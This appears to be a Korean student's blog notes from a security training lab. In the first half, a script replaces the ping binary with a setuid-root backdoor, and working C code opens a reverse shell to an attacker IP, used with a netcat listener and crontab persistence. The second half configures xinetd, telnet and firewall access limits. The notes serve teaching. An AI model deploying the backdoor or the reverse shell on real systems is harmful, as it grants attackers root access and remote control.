보안

2024.04.30.화.보안 day21

202401to07 2024. 4. 30. 10:44

지각

 

yum install vim-common

ㄴ GNS mini rocky NAT 기본 초기 환경 설정 

백도어 실습

 

 

vi install.sh

#!/bin/bash


if [ -f /usr/bin/.ping ]
then
echo "이미 설치되어 있습니다"

else
mkdir /backup
cp -a /usr/bin/ping  /backup
gcc  -o  /rootkit/fping  /rootkit/fping.c || exit
mv  /usr/bin/ping   /usr/bin/.ping
mv  /rootkit/fping   /usr/bin/ping
chmod 4755  /usr/bin/ping
fi
   59  ll
   60  chmod 755 install.sh
   61  ll
   62  ll /backup
   63  ./install.sh
   64  ll /backup
   65  ping 127.0.0.1
   68  ping SEVAS pwd

 


[root@localhost ~]# cd /rootkit
[root@localhost rootkit]# rm -rf fping ping
[root@localhost rootkit]# rm -rf /backup
[root@localhost rootkit]# vi install.sh

#!/bin/bash


if [ -f /usr/bin/.ping ]
then
echo "이미 설치되어 있습니다"

else
mkdir /backup
cp -a /usr/bin/ping  /backup
gcc  -o  /rootkit/fping  /rootkit/fping.c || exit
mv  /usr/bin/ping   /usr/bin/.ping
mv  /rootkit/fping   /usr/bin/ping
chmod 4755  /usr/bin/ping
fi

[root@localhost rootkit]# chmod 755 install.sh
[root@localhost rootkit]# ll
합계 40
-rwsr-xr-x 1 root root 8464  4월 30 11:35 back
-rw-r--r-- 1 root root   79  4월 30 11:35 back.c
-rw-r--r-- 1 root root  590  4월 30 13:30 fping.c
-rwsr-xr-x 1 root root 8464  4월 30 11:24 geruid
-rw-r--r-- 1 root root  144  4월 30 11:24 getuid.c
-rwxr-xr-x 1 root root  282  4월 30 13:39 install.sh

 

tripwire무결성검사 도구 

rootkit같은 공격(권한상승 )을 막는것이 tripwire이다. (2:29)

 


리버스 공격: 상대방의 권한을 이용한다 -> 권한을 주는 개념이 아니다 

[root@localhost rootkit]# vi revers.c

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
int main(int argc, char* argv[])
{
        struct sockaddr_in server_addr;
        int server_sock;
        int client_len;
        char buf[80];
        char rbuf[80];
        char *cmd[2] = {"/bin/sh", (char *)0};

        server_sock = socket(AF_INET, SOCK_STREAM, 6);  // 통신 설정 소켓설정
        server_addr.sin_family = AF_INET;  //네트워크 대역
        server_addr.sin_addr.s_addr = inet_addr("20.20.20.200");   //공격자 
        server_addr.sin_port=htons(atoi("9000")); //포트
        client_len = sizeof(server_addr); 
        connect(server_sock, (struct sockaddr *)&server_addr, client_len);  //tcp 연결 3way

     dup2(server_sock, 0);
    dup2(server_sock, 1);
    dup2(server_sock, 2);
    execve("/bin/sh", cmd, 0);   // root 권한실행

   return 0;
}

[root@localhost rootkit]# gcc -o revers revers.c

 

칼리 ) nc -lvp 9000

미니) ./revers

칼리) 아무거나 쳐도 다 나와 ex) cat /etc/passwd

 

응용 crontab 으로 응용가능

 

 

 


이제 inet , xinet ~

 

  122  yum install xinetd
  123  rpm -qa |grep xinet
  125  rpm -ql xinetd
  126  rpm -qf /etc/xinetd.conf
  127  service xinted restart
  128  yum install telnet-server
  129  rpm -qa |grep telnet
  130  service xinted restart
  131  netstat -lntup
  132  cd /etc/xinetd.d
  133  ll
  135  rpm -ql telnet-server
  137  rpm -ql xinetd
  140  cat /usr/share/doc/xinetd-2.3.15/sample.conf |grep telnet -A 10

[root@localhost xinetd.d]# vi telnet
[root@localhost xinetd.d]# cat telnet
service telnet
{
        flags = REUSE
        socket_type             = stream
        wait                    = no
        user                    = root
        server                  = /usr/sbin/in.telnetd
        log_on_failure += USERID
        disabled = yes
}

  130  service xinted restart
  131  netstat -lntup

vi /etc/xinetd.conf

 

 


telnet연결확인

[서버연결]

mini에서 방화벽 설정하기   

153  cd ~
  154  firewall-cmd --list all
  156  firewall-cmd --permanent --add-port 23/tcp
  157  firewall-cmd --reload
  158  firewall-cmd --list all

록키에서 telent 10.10.10.10 하고 sevas 들어가지는것 확인

[서버설정]

 cd /etc/xinetd.d
  166  mkdir /backup
  167  cp -a /etc/xinetd.conf /backup
  168  vi /etc/xinetd.conf


  169  service xinetd restart
  170  telnet 10.10.10.10
  171  vi /etc/xinetd.conf

이렇게 no accees와 only_from 으로 접속가능한ㅇ ip를 조정한다 

이번에는 cps를 수정해보자

 

* cps = count permit seconds   1초당 접속 허용횟수에 대한 제한시간
* instances       최대 접속 세션수 
* per_source     출발지  IP 1개당 최대 접속수

 

수정하면 service xinetd restart 필수